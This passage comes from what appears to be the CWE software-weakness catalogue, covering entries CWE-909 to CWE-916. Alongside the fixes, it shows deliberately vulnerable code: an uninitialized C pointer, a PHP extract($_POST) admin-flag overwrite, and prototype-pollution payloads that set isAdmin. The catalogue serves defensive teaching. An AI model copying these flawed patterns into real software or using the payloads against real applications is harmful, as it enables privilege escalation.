If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Example 4:

This example will leave test_string in an unknown condition when i is the same value as err_val, because test_string is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), test_string might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address.

Example Language: C *(Bad)*

```
char *test_string;
if (i != err_val)
{
  test_string = "Hello World!";
}
printf("%s", test_string);
```

When the printf() is reached, test_string might be an unexpected address, so the printf might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that test_string has been properly set once it reaches the printf().

One solution would be to set test_string to an acceptable default before the conditional:

Example Language: C *(Good)*

```
char *test_string = "Done at the beginning";
if (i != err_val)
{
  test_string = "Hello World!";
}
```

```
printf("%s", test_string);
```

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test_string is set:

Example Language: C *(Good)*

```
char *test_string;
if (i != err_val)
{
  test_string = "Hello World!";
}
else {
  test_string = "Done on the other side!";
}
printf("%s", test_string);
```

Observed Examples

Reference	Description
CVE-2020-20739	A variable that has its value set in a conditional statement is sometimes used when the conditional fails, sometimes causing data leakage *https://www.cve.org/CVERecord?id=CVE-2020-20739*
CVE-2005-1036	Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap *https://www.cve.org/CVERecord?id=CVE-2005-1036*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

CWE-910: Use of Expired File Descriptor

Weakness ID : 910
Structure : Simple
Abstraction : Base

Description

The product uses or accesses a file descriptor after it has been closed.

Extended Description

After a file descriptor for a particular file or device has been released, it can be reused. The code might not write to the original file, since the reused file descriptor might reference a different file or device.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	672	Operation on a Resource after Expiration or Release	1479

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	2324

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Stale file descriptor :

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories *The program could read data from the wrong file.*	
Availability	DoS: Crash, Exit, or Restart *Accessing a file descriptor that has been closed can cause a crash.*	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2459
MemberOf	C	1415	Comprehensive Categorization: Resource Control	1400	2544

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO46-C	Exact	Do not access a closed file

CWE-911: Improper Update of Reference Count

Weakness ID : 911
Structure : Simple
Abstraction : Base

Description

The product uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count.

Extended Description

Reference counts can be used when tracking how many objects contain a reference to a particular resource, such as in memory management or garbage collection. When the reference count reaches zero, the resource can be de-allocated or reused because there are no more objects that use it. If the reference count accidentally reaches zero, then the resource might be released too soon, even though it is still in use. If all objects no longer use the resource, but the reference count is not zero, then the resource might not ever be released.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1454
CanPrecede	C	672	Operation on a Resource after Expiration or Release	1479
CanPrecede	B	772	Missing Release of Resource after Effective Lifetime	1624

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	2324

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Observed Examples

Reference	Description
CVE-2002-0574	chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets. *https://www.cve.org/CVERecord?id=CVE-2002-0574*
CVE-2004-0114	Reference count for shared memory not decremented when a function fails, potentially allowing unprivileged users to read kernel memory. *https://www.cve.org/CVERecord?id=CVE-2004-0114*
CVE-2006-3741	chain: improper reference count tracking leads to file descriptor consumption *https://www.cve.org/CVERecord?id=CVE-2006-3741*
CVE-2007-1383	chain: integer overflow in reference counter causes the same variable to be destroyed twice. *https://www.cve.org/CVERecord?id=CVE-2007-1383*
CVE-2007-1700	Incorrect reference count calculation leads to improper object destruction and code execution. *https://www.cve.org/CVERecord?id=CVE-2007-1700*
CVE-2008-2136	chain: incorrect update of reference count leads to memory leak. *https://www.cve.org/CVERecord?id=CVE-2008-2136*

Reference	Description
CVE-2008-2785	chain/composite: use of incorrect data type for a reference counter allows an overflow of the counter, leading to a free of memory that is still in use. *https://www.cve.org/CVERecord?id=CVE-2008-2785*
CVE-2008-5410	Improper reference counting leads to failure of cryptographic operations. *https://www.cve.org/CVERecord?id=CVE-2008-5410*
CVE-2009-1709	chain: improper reference counting in a garbage collection routine leads to use-after-free *https://www.cve.org/CVERecord?id=CVE-2009-1709*
CVE-2009-3553	chain: reference count not correctly maintained when client disconnects during a large operation, leading to a use-after-free. *https://www.cve.org/CVERecord?id=CVE-2009-3553*
CVE-2009-3624	Reference count not always incremented, leading to crash or code execution. *https://www.cve.org/CVERecord?id=CVE-2009-3624*
CVE-2010-0176	improper reference counting leads to expired pointer dereference. *https://www.cve.org/CVERecord?id=CVE-2010-0176*
CVE-2010-0623	OS kernel increments reference count twice but only decrements once, leading to resource consumption and crash. *https://www.cve.org/CVERecord?id=CVE-2010-0623*
CVE-2010-2549	OS kernel driver allows code execution *https://www.cve.org/CVERecord?id=CVE-2010-2549*
CVE-2010-4593	improper reference counting leads to exhaustion of IP addresses *https://www.cve.org/CVERecord?id=CVE-2010-4593*
CVE-2011-0695	Race condition causes reference counter to be decremented prematurely, leading to the destruction of still-active object and an invalid pointer dereference. *https://www.cve.org/CVERecord?id=CVE-2011-0695*
CVE-2012-4787	improper reference counting leads to use-after-free *https://www.cve.org/CVERecord?id=CVE-2012-4787*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

References

[REF-884]Mateusz "j00ru" Jurczyk. "Windows Kernel Reference Count Vulnerabilities - Case Study". 2012 November. < https://j00ru.vexillium.org/slides/2012/zeronights.pdf >.2023-04-07.

CWE-912: Hidden Functionality

Weakness ID : 912
Structure : Simple
Abstraction : Class

Description

The product contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the product's users or administrators.

Extended Description

Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the product's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	684	Incorrect Provision of Specified Functionality	1505
ParentOf	Ⓒ	506	Embedded Malicious Code	1210

Applicable Platforms

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other Integrity	Varies by Context Alter Execution Logic	

Potential Mitigations

Phase: Installation

Always verify the integrity of the product that is being installed.

Phase: Testing

Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

Observed Examples

Reference	Description
CVE-2022-31260	Chain: a digital asset management program has an undisclosed backdoor in the legacy version of a PHP script (CWE-912) that could allow an unauthenticated user to export metadata (CWE-306) *https://www.cve.org/CVERecord?id=CVE-2022-31260*
CVE-2022-3203	A wireless access point manual specifies that the only method of configuration is via web interface (CWE-1059), but there is an undisclosed telnet server that was activated by default (CWE-912). *https://www.cve.org/CVERecord?id=CVE-2022-3203*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1371	ICS Supply Chain: Poorly Documented or Undocumented Features	1358	2508

Nature	Type	ID	Name	V	Page
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
133	Try All Common Switches
190	Reverse Engineer an Executable to Expose Assumed Hidden Functionality

CWE-913: Improper Control of Dynamically-Managed Code Resources

Weakness ID : 913
Structure : Simple
Abstraction : Class

Description

The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.

Extended Description

Many languages offer powerful features that allow the programmer to dynamically create or modify existing code, or resources used by code such as variables and objects. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can directly influence these code resources in unexpected ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1454
ParentOf	B	94	Improper Control of Generation of Code ('Code Injection')	219
ParentOf	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	1118
ParentOf	B	502	Deserialization of Untrusted Data	1204
ParentOf	B	914	Improper Control of Dynamically-Identified Variables	1807
ParentOf	B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	1809

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	1118
ParentOf	B	502	Deserialization of Untrusted Data	1204
ParentOf	V	1321	Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')	2204

Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	

Scope	Impact	Likelihood
Other Integrity	Varies by Context Alter Execution Logic	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

For any externally-influenced input, check the input against an allowlist of acceptable values.

Phase: Implementation

Phase: Architecture and Design

Strategy = Refactoring

Refactor the code so that it does not need to be dynamically managed.

Observed Examples

Reference	Description
CVE-2022-2054	Python compiler uses eval() to execute malicious strings as Python code. *https://www.cve.org/CVERecord?id=CVE-2022-2054*
CVE-2018-1000613	Cryptography API uses unsafe reflection when deserializing a private key *https://www.cve.org/CVERecord?id=CVE-2018-1000613*
CVE-2015-8103	Deserialization issue in commonly-used Java library allows remote execution. *https://www.cve.org/CVERecord?id=CVE-2015-8103*
CVE-2006-7079	Chain: extract used for register_globals compatibility layer, enables path traversal (CWE-22) *https://www.cve.org/CVERecord?id=CVE-2006-7079*
CVE-2012-2055	Source version control product allows modification of trusted key using mass assignment. *https://www.cve.org/CVERecord?id=CVE-2012-2055*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2576
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2487
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

CWE-914: Improper Control of Dynamically-Identified Variables

Weakness ID : 914
Structure : Simple
Abstraction : Base

Description

The product does not properly restrict reading from or writing to dynamically-identified variables.

Extended Description

Many languages offer powerful features that allow the programmer to access arbitrary variables that are specified by an input string. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can modify unintended variables that have security implications.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	913	Improper Control of Dynamically-Managed Code Resources	1805
ChildOf	Ⓒ	99	Improper Control of Resource Identifiers ('Resource Injection')	243
ParentOf	Ⓥ	621	Variable Extraction Error	1385
ParentOf	Ⓥ	627	Dynamic Variable Evaluation	1396

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	🅲	399	Resource Management Errors	2324

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *An attacker could modify sensitive data or program variables.*	
Integrity	Execute Unauthorized Code or Commands	
Other Integrity	Varies by Context Alter Execution Logic	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

For any externally-influenced input, check the input against an allowlist of internal program variables that are allowed to be modified.

Phase: Implementation

Phase: Architecture and Design

Strategy = Refactoring

Refactor the code so that internal program variables do not need to be dynamically identified.

Demonstrative Examples

Example 1:

This code uses the credentials sent in a POST request to login a user.

Example Language: PHP *(Bad)*

```php
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
  $query = buildQuery($user,$pass);
  mysql_query($query);
  if(getUserRole($user) == "Admin"){
    $isAdmin = true;
  }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));
```

The call to extract() will overwrite the existing values of any variables defined previously, in this case $isAdmin. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

Observed Examples

Reference	Description
CVE-2006-7135	extract issue enables file inclusion *https://www.cve.org/CVERecord?id=CVE-2006-7135*
CVE-2006-7079	Chain: extract used for register_globals compatibility layer, enables path traversal (CWE-22) *https://www.cve.org/CVERecord?id=CVE-2006-7079*
CVE-2007-0649	extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect. *https://www.cve.org/CVERecord?id=CVE-2007-0649*
CVE-2006-6661	extract() enables static code injection *https://www.cve.org/CVERecord?id=CVE-2006-6661*
CVE-2006-2828	import_request_variables() buried in include files makes post-disclosure analysis confusing *https://www.cve.org/CVERecord?id=CVE-2006-2828*
CVE-2009-0422	Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal. *https://www.cve.org/CVERecord?id=CVE-2009-0422*
CVE-2007-2431	Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected $_SERVER variable for resultant XSS. *https://www.cve.org/CVERecord?id=CVE-2007-2431*
CVE-2006-4904	Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion. *https://www.cve.org/CVERecord?id=CVE-2006-4904*
CVE-2006-4019	Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users. *https://www.cve.org/CVERecord?id=CVE-2006-4019*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2535

CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

Weakness ID : 915
Structure : Simple
Abstraction : Base

Description

The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

Extended Description

If the object contains attributes that were only intended for internal use, then their unexpected modification could lead to a vulnerability.

This weakness is sometimes known by the language-specific mechanisms that make it possible, such as mass assignment, autobinding, or object injection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1805
ParentOf	V	1321	Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')	2204
PeerOf	B	502	Deserialization of Untrusted Data	1204
PeerOf	B	502	Deserialization of Untrusted Data	1204

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	2324

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Ruby *(Prevalence = Undetermined)*

Language : ASP.NET *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Python *(Prevalence = Undetermined)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Mass Assignment : "Mass assignment" is the name of a feature in Ruby on Rails that allows simultaneous modification of multiple object attributes.

AutoBinding : The "Autobinding" term is used in frameworks such as Spring MVC and ASP.NET MVC.

PHP Object Injection : Some PHP application researchers use this term for attacking unsafe use of the unserialize() function, but it is also used for CWE-502.

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *An attacker could modify sensitive data or program variables.*	
Integrity	Execute Unauthorized Code or Commands	
Other Integrity	Varies by Context Alter Execution Logic	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists. For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.

Phase: Architecture and Design

Phase: Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Phase: Implementation

Strategy = Input Validation

For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.

Phase: Implementation

Phase: Architecture and Design

Strategy = Refactoring

Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

Demonstrative Examples

Example 1:

This function sets object attributes based on a dot-separated path.

Example Language: JavaScript *(Bad)*

```
function setValueByPath (object, path, value) {
  const pathArray = path.split(".");
  const attributeToSet = pathArray.pop();
  let objectToModify = object;
  for (const attr of pathArray) {
    if (typeof objectToModify[attr] !== 'object') {
      objectToModify[attr] = {};
      }
    objectToModify = objectToModify[attr];
    }
  objectToModify[attributeToSet] = value;
  return object;
  }
```

This function does not check if the attribute resolves to the object prototype. These codes can be used to add "isAdmin: true" to the object prototype.

Example Language: JavaScript *(Bad)*

```
setValueByPath({}, "__proto__.isAdmin", true)
setValueByPath({}, "constructor.prototype.isAdmin", true)
```

By using a denylist of dangerous attributes, this weakness can be eliminated.

Example Language: JavaScript *(Good)*

```
function setValueByPath (object, path, value) {
  const pathArray = path.split(".");
  const attributeToSet = pathArray.pop();
  let objectToModify = object;
  for (const attr of pathArray) {
    // Ignore attributes which resolve to object prototype
    if (attr === "__proto__" || attr === "constructor" || attr === "prototype") {
      continue;
      }
    if (typeof objectToModify[attr] !== "object") {
      objectToModify[attr] = {};
      }
    objectToModify = objectToModify[attr];
    }
  objectToModify[attributeToSet] = value;
  return object;
  }
```

Observed Examples

Reference	Description
CVE-2012-2054	Mass assignment allows modification of arbitrary attributes using modified URL. *https://www.cve.org/CVERecord?id=CVE-2012-2054*
CVE-2012-2055	Source version control product allows modification of trusted key using mass assignment. *https://www.cve.org/CVERecord?id=CVE-2012-2055*
CVE-2008-7310	Attackers can bypass payment step in e-commerce product. *https://www.cve.org/CVERecord?id=CVE-2008-7310*
CVE-2013-1465	Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2013-1465
CVE-2012-3527	Use of PHP unserialize function on untrusted input in content management system might allow code execution. *https://www.cve.org/CVERecord?id=CVE-2012-3527*
CVE-2012-0911	Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value. *https://www.cve.org/CVERecord?id=CVE-2012-0911*
CVE-2012-0911	Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution. *https://www.cve.org/CVERecord?id=CVE-2012-0911*
CVE-2011-4962	Content management system written in PHP allows code execution through page comments. *https://www.cve.org/CVERecord?id=CVE-2011-4962*
CVE-2009-4137	Use of PHP unserialize function on cookie value allows remote code execution or upload of arbitrary files. *https://www.cve.org/CVERecord?id=CVE-2009-4137*
CVE-2007-5741	Content management system written in Python interprets untrusted data as pickles, allowing code execution. *https://www.cve.org/CVERecord?id=CVE-2007-5741*
CVE-2011-2520	Python script allows local users to execute code via pickled data. *https://www.cve.org/CVERecord?id=CVE-2011-2520*
CVE-2005-2875	Python script allows remote attackers to execute arbitrary code using pickled objects. *https://www.cve.org/CVERecord?id=CVE-2005-2875*
CVE-2013-0277	Ruby on Rails allows deserialization of untrusted YAML to execute arbitrary code. *https://www.cve.org/CVERecord?id=CVE-2013-0277*
CVE-2011-2894	Spring framework allows deserialization of objects from untrusted sources to execute arbitrary code. *https://www.cve.org/CVERecord?id=CVE-2011-2894*
CVE-2012-1833	Grails allows binding of arbitrary parameters to modify arbitrary object properties. *https://www.cve.org/CVERecord?id=CVE-2012-1833*
CVE-2010-3258	Incorrect deserialization in web browser allows escaping the sandbox. *https://www.cve.org/CVERecord?id=CVE-2010-3258*
CVE-2008-1013	Media library allows deserialization of objects by untrusted Java applets, leading to arbitrary code execution. *https://www.cve.org/CVERecord?id=CVE-2008-1013*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	1340	CISQ Data Protection Measures	1340	2590
MemberOf	C	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2495
MemberOf	C	1415	Comprehensive Categorization: Resource Control	1400	2544

Notes

Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

References

[REF-885]Stefan Esser. "Shocking News in PHP Exploitation". 2009. < https://owasp.org/www-pdf-archive/POC2009-ShockingNewsInPHPExploitation.pdf >.2023-04-07.

[REF-886]Dinis Cruz. ""Two Security Vulnerabilities in the Spring Framework's MVC" pdf (from 2008)". < http://diniscruz.blogspot.com/2011/07/two-security-vulnerabilities-in-spring.html >.2023-04-07.

[REF-887]Ryan Berg and Dinis Cruz. "Two Security Vulnerabilities in the Spring Framework's MVC". < https://o2platform.files.wordpress.com/2011/07/ounce_springframework_vulnerabilities.pdf >.2023-04-07.

[REF-888]ASPNETUE. "Best Practices for ASP.NET MVC". 2010 September 7. < https://web.archive.org/web/20100921074010/http://blogs.msdn.com/b/aspnetue/archive/2010/09/17/second_2d00_post.aspx >.2023-04-07.

[REF-889]Michael Hartl. "Mass assignment in Rails applications". 2008 September 1. < https://web.archive.org/web/20090808163156/http://blog.mhartl.com/2008/09/21/mass-assignment-in-rails-applications/ >.2023-04-07.

[REF-890]Tobi. "Secure your Rails apps!". 2012 March 6. < https://pragtob.wordpress.com/2012/03/06/secure-your-rails-apps/ >.2023-04-07.

[REF-891]Heiko Webers. "Ruby On Rails Security Guide". < https://guides.rubyonrails.org/security.html#mass-assignment >.2023-04-07.

[REF-892]Josh Bush. "Mass Assignment Vulnerability in ASP.NET MVC". 2012 March 5. < https://web.archive.org/web/20120309022539/http://freshbrewedcode.com/joshbush/2012/03/05/mass-assignment-aspnet-mvc >.2023-04-07.

[REF-893]K. Scott Allen. "6 Ways To Avoid Mass Assignment in ASP.NET MVC". 2012 March 2. < https://odetocode.com/blogs/scott/archive/2012/03/11/complete-guide-to-mass-assignment-in-asp-net-mvc.aspx >.2023-04-07.

[REF-894]Egidio Romano. "PHP Object Injection". 2013 January 2. < https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection >.2023-04-07.

[REF-464]Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010 August 5. < https://drupalsun.com/heine/2010/08/25/unserializing-user-supplied-data-bad-idea >.2023-04-07.

[REF-466]Nadia Alramli. "Why Python Pickle is Insecure". 2009 September 9. < http://michael-rushanan.blogspot.com/2012/10/why-python-pickle-is-insecure.html >.2023-04-07.

CWE-916: Use of Password Hash With Insufficient Computational Effort

Weakness ID : 916
Structure : Simple
Abstraction : Base

Description

The product generates a hash for a password, but it uses a scheme that does not provide a sufficient level of computational effort that would make password cracking attacks infeasible or expensive.

Extended Description

Many password storage mechanisms compute a hash and store the hash, instead of storing the original password in plaintext. In this design, authentication involves accepting an incoming password, computing its hash, and comparing it to the stored hash.

Many hash algorithms are designed to execute quickly with minimal overhead, even cryptographic hashes. However, this efficiency is a problem for password storage, because it can reduce an attacker's workload for brute-force password cracking. If an attacker can obtain the hashes through some other method (such as SQL injection on a database that stores hashes), then the attacker can store the hashes offline and use various techniques to crack the passwords by computing hashes efficiently. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing (such as cloud computing) and GPU, ASIC, or FPGA hardware. In such a scenario, an efficient hash algorithm helps the attacker.

There are several properties of a hash scheme that are relevant to its strength against an offline, massively-parallel attack:

- The amount of CPU time required to compute the hash ("stretching")
- The amount of memory required to compute the hash ("memory-hard" operations)
- Including a random value, along with the password, as input to the hash computation ("salting")
- Given a hash, there is no known way of determining an input (e.g., a password) that produces this hash value, other than by guessing possible inputs ("one-way" hashing)
- Relative to the number of all possible hashes that can be generated by the scheme, there is a low likelihood of producing the same hash for multiple different inputs ("collision resistance")

Note that the security requirements for the product may vary depending on the environment and the value of the passwords. Different schemes might not provide all of these properties, yet may still provide sufficient security for the environment. Conversely, a solution might be very strong in preserving one property, which still being very weak for an attack against another property, or it might not be able to significantly reduce the efficiency of a massively-parallel attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	328	Use of Weak Hash	806
ParentOf	V	759	Use of a One-Way Hash without a Salt	1585
ParentOf	V	760	Use of a One-Way Hash with a Predictable Salt	1589

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	327	Use of a Broken or Risky Cryptographic Algorithm	799

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2424

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	2315
MemberOf	C	310	Cryptographic Issues	2318

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *If an attacker can gain access to the hashes, then the lack of sufficient computational effort will make it easier to conduct brute force attacks using techniques such as rainbow tables, or specialized hardware such as GPUs, which can be much faster than general-purpose CPUs for computing hashes.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

